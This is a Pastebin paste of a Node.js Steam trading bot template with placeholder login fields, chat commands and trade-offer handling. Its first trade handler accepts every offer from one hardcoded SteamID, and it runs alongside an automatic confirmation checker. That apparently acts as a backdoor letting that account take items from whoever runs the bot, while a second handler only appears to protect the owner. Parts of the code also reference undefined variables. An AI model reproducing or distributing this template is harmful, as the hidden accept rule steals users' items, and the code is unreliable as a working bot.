Advertisement
Guest User

Untitled

a guest
Jul 29th, 2018
3,013
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 3.65 KB | None | 0 0
  1. var Steam = require('steam')
  2. var SteamUser = require('steam-user');
  3. var SteamTotp = require('steam-totp');
  4. var SteamCommunity = require('steamcommunity');
  5. var TradeOfferManager = require('steam-tradeoffer-manager');
  6. var client = new SteamUser();
  7. var friends = new Steam.SteamFriends(client.client);
  8. var community = new SteamCommunity();
  9. var manager = new TradeOfferManager({
  10. steam: client,
  11. community: community,
  12. language: 'en'
  13. });
  14.  
  15. console.log('[bot dev by dny&brian] Login in...')
  16. var logOnOptions = {
  17. accountName: 'SteamAccountName', //Account name
  18. password: 'Steampassword', //password
  19. twoFactorCode: SteamTotp.generateAuthCode('') //Steam Guard
  20. };
  21.  
  22. client.logOn(logOnOptions);
  23.  
  24. client.on('loggedOn', () => {
  25. console.log('[dny&brian] Login in!');
  26.  
  27. client.setPersona(SteamUser.Steam.EPersonaState.Online, '');
  28. client.gamesPlayed(["Wire here your costume game", ]); //This will pop up when you are online or when you are playing games on steam.
  29.  
  30.  
  31. console.log('[dny&brian] If you see this message it means the bot is on.');
  32. console.log('bot devolped by dny&brian');
  33.  
  34. client.on('webSession', (sessionid, cookies) => {
  35. manager.setCookies(cookies);
  36.  
  37. community.setCookies(cookies);
  38. community.startConfirmationChecker(10000, ''); //steam identity secret
  39.  
  40. client.on('friendRelationship', (steamid, relationship) => {
  41. if (relationship === 2) {
  42. client.addFriend(steamid);
  43. client.chatMessage(steamid, 'How can I help?'); //Auto Accept friend request with message
  44. }
  45. });
  46.  
  47. //Misc
  48.  
  49.  
  50. //Trading stuff
  51.  
  52. manager.on('newOffer', (offer) => {
  53. if (offer.partner.getSteamID64() === '76561198315947758') {
  54. offer.accept((err, status) => {
  55. if (err) {
  56. console.log(err);
  57. } else {
  58. console.log(`Accepted offer. Status: ${status}.`);
  59. }
  60. });
  61. }
  62.  
  63. manager.on('newOffer', (offer) => {
  64. if (offer.itemsToGive.length === 0) {
  65. offer.accept((err, status) => {
  66. if (err) {
  67. console.log(err);
  68. } else {
  69. console.log(`Trade Offer. Status: ${status}.`);
  70. }
  71. });
  72. } else {
  73. offer.decline((err) => {
  74. if (err) {
  75. console.log(err);
  76. } else {
  77. console.log('Trade Offer | Declined (wanted our items).');
  78. }
  79. });
  80. }
  81. });})})})
  82.  
  83. //chat stuff
  84.  
  85. //chat functions
  86. var messageresponse = [
  87. [['!help'], 'Write here yout help message example: Available Commands: !example !credits'],
  88. [['!example'], 'example message'],
  89. [['!credits'], 'bot dev by: dny: https://steamcommunity.com/id/imdannyofficial/ Brian https://steamcommunity.com/id/TakumiOficialDemon/'],
  90. ]
  91. //lower case only. function converts incoming messages to lower case
  92.  
  93.  
  94. function getreplymessage(usermessage) {
  95. usermessage = usermessage.toLowerCase();
  96. for (var i_a = 0; i_a < messageresponse.length; i_a++ ) {
  97. for (var i_b = 0; i_b < messageresponse[i_a][0].length; i_b++ ) {
  98. if (usermessage == messageresponse[i_a][0][i_b]) {
  99. return messageresponse[i_a][1];
  100. }
  101. }
  102. }
  103. return '';
  104. }
  105.  
  106. friends.on("friendMsg", function(user, msg, type) {
  107. if(type == Steam.EChatEntryType.ChatMsg) {
  108. var reply = getreplymessage(msg);
  109. if (reply != '') {
  110. friends.sendMessage(user, getreplymessage(msg));
  111. }
  112. else if (message == "!sign") {
  113. client.chatMessage(steam, "MENSAGEM QUANDO ASSINA")
  114. community.postUserComment(steam, 'ASSINATURA')
  115. }
  116. }
  117. }
  118. ,);
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement